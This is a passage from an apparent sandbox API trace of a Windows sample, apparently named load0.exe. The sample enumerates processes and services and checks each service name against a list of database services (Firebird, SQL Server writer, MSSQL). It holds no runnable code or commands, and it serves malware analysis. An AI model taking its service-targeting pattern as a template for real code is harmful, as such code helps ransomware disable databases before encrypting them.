(lpString1="sqlwriter", lpString2="netprofm") returned 1 [0301.233] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0301.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0301.233] lstrlenW (lpString="NgcSvc") returned 6 [0301.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0301.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0301.233] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0301.233] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0301.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0301.233] lstrlenW (lpString="NlaSvc") returned 6 [0301.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0301.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0301.233] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0301.233] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0301.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0301.233] lstrlenW (lpString="nsi") returned 3 [0301.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0301.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0301.233] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0301.233] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0301.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0301.233] lstrlenW (lpString="PcaSvc") returned 6 [0301.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0301.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0301.233] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0301.234] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0301.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0301.234] lstrlenW (lpString="PlugPlay") returned 8 [0301.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0301.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0301.234] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0301.234] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0301.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0301.234] lstrlenW (lpString="Power") returned 5 [0301.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0301.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0301.234] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0301.234] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0301.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0301.234] lstrlenW (lpString="ProfSvc") returned 7 [0301.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0301.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0301.234] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0301.234] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0301.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0301.234] lstrlenW (lpString="RpcEptMapper") returned 12 [0301.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0301.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0301.234] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0301.234] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0301.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0301.234] lstrlenW (lpString="RpcSs") returned 5 [0301.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0301.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0301.234] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0301.234] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0301.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0301.235] lstrlenW (lpString="SamSs") returned 5 [0301.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0301.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0301.235] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0301.235] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0301.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0301.235] lstrlenW (lpString="Schedule") returned 8 [0301.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0301.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0301.235] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0301.235] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0301.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0301.235] lstrlenW (lpString="SecurityHealthService") returned 21 [0301.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0301.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0301.235] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0301.235] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0301.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0301.235] lstrlenW (lpString="SENS") returned 4 [0301.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0301.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0301.235] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0301.235] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0301.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0301.235] lstrlenW (lpString="ShellHWDetection") returned 16 [0301.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0301.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0301.235] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0301.235] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0301.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0301.236] lstrlenW (lpString="Spooler") returned 7 [0301.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0301.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0301.236] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0301.236] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0301.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0301.236] lstrlenW (lpString="SSDPSRV") returned 7 [0301.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0301.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0301.236] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0301.236] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0301.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0301.236] lstrlenW (lpString="StateRepository") returned 15 [0301.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0301.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0301.236] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0301.236] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0301.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0301.236] lstrlenW (lpString="SysMain") returned 7 [0301.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0301.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0301.236] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0301.236] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0301.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0301.236] lstrlenW (lpString="SystemEventsBroker") returned 18 [0301.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0301.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0301.237] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0301.237] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0301.237] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10a4 [0301.243] Process32FirstW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0301.243] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x69, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0301.244] lstrlenW (lpString="System") returned 6 [0301.244] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0301.245] lstrlenW (lpString="smss.exe") returned 8 [0301.245] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0301.246] lstrlenW (lpString="csrss.exe") returned 9 [0301.246] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0301.247] lstrlenW (lpString="wininit.exe") returned 11 [0301.247] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0301.247] lstrlenW (lpString="csrss.exe") returned 9 [0301.248] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0301.248] lstrlenW (lpString="winlogon.exe") returned 12 [0301.248] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0301.249] lstrlenW (lpString="services.exe") returned 12 [0301.249] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0301.250] lstrlenW (lpString="lsass.exe") returned 9 [0301.250] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0301.250] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0301.251] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0301.251] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0301.251] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0301.252] lstrlenW (lpString="svchost.exe") returned 11 [0301.252] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0301.252] lstrlenW (lpString="svchost.exe") returned 11 [0301.252] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0301.253] lstrlenW (lpString="dwm.exe") returned 7 [0301.253] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x47, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0301.254] lstrlenW (lpString="svchost.exe") returned 11 [0301.254] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0301.255] lstrlenW (lpString="svchost.exe") returned 11 [0301.255] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0301.255] lstrlenW (lpString="svchost.exe") returned 11 [0301.255] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0301.256] lstrlenW (lpString="svchost.exe") returned 11 [0301.256] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0301.257] lstrlenW (lpString="svchost.exe") returned 11 [0301.257] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0301.257] lstrlenW (lpString="svchost.exe") returned 11 [0301.257] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0301.258] lstrlenW (lpString="svchost.exe") returned 11 [0301.258] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0301.259] lstrlenW (lpString="svchost.exe") returned 11 [0301.259] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0301.260] lstrlenW (lpString="svchost.exe") returned 11 [0301.260] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0301.261] lstrlenW (lpString="svchost.exe") returned 11 [0301.261] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0301.262] lstrlenW (lpString="spoolsv.exe") returned 11 [0301.262] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0301.263] lstrlenW (lpString="svchost.exe") returned 11 [0301.263] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0301.263] lstrlenW (lpString="audiodg.exe") returned 11 [0301.264] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0301.264] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0301.264] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0301.265] lstrlenW (lpString="Memory Compression") returned 18 [0301.265] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0301.266] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0301.266] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0301.267] lstrlenW (lpString="sihost.exe") returned 10 [0301.267] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0301.268] lstrlenW (lpString="svchost.exe") returned 11 [0301.268] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0301.268] lstrlenW (lpString="taskhostw.exe") returned 13 [0301.269] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0301.269] lstrlenW (lpString="msoia.exe") returned 9 [0301.269] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0301.327] lstrlenW (lpString="explorer.exe") returned 12 [0301.327] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0301.328] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0301.328] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0301.328] lstrlenW (lpString="SearchUI.exe") returned 12 [0301.328] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0301.329] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0301.329] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0xdac, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0301.330] lstrlenW (lpString="load0.exe") returned 9 [0301.330] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0301.340] lstrlenW (lpString="svchost.exe") returned 11 [0301.340] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0301.341] CloseHandle (hObject=0x10a4) returned 1 [0301.341] Sleep (dwMilliseconds=0x1f4) [0301.964] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7bd6c0 [0301.965] EnumServicesStatusExW (in: hSCManager=0x7bd6c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0) returned 0 [0301.965] GetLastError () returned 0xea [0301.965] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x1d10) returned 0x37b20c0 [0301.965] EnumServicesStatusExW (in: hSCManager=0x7bd6c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x37b20c0, cbBufSize=0x1d10, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x37b20c0, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0) returned 1 [0301.966] CloseServiceHandle (hSCObject=0x7bd6c0) returned 1 [0301.966] lstrlenW (lpString="Appinfo") returned 7 [0301.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0301.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0301.966] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0301.966] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0301.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0301.966] lstrlenW (lpString="AppXSvc") returned 7 [0301.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0301.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0301.967] lstrcmpiW 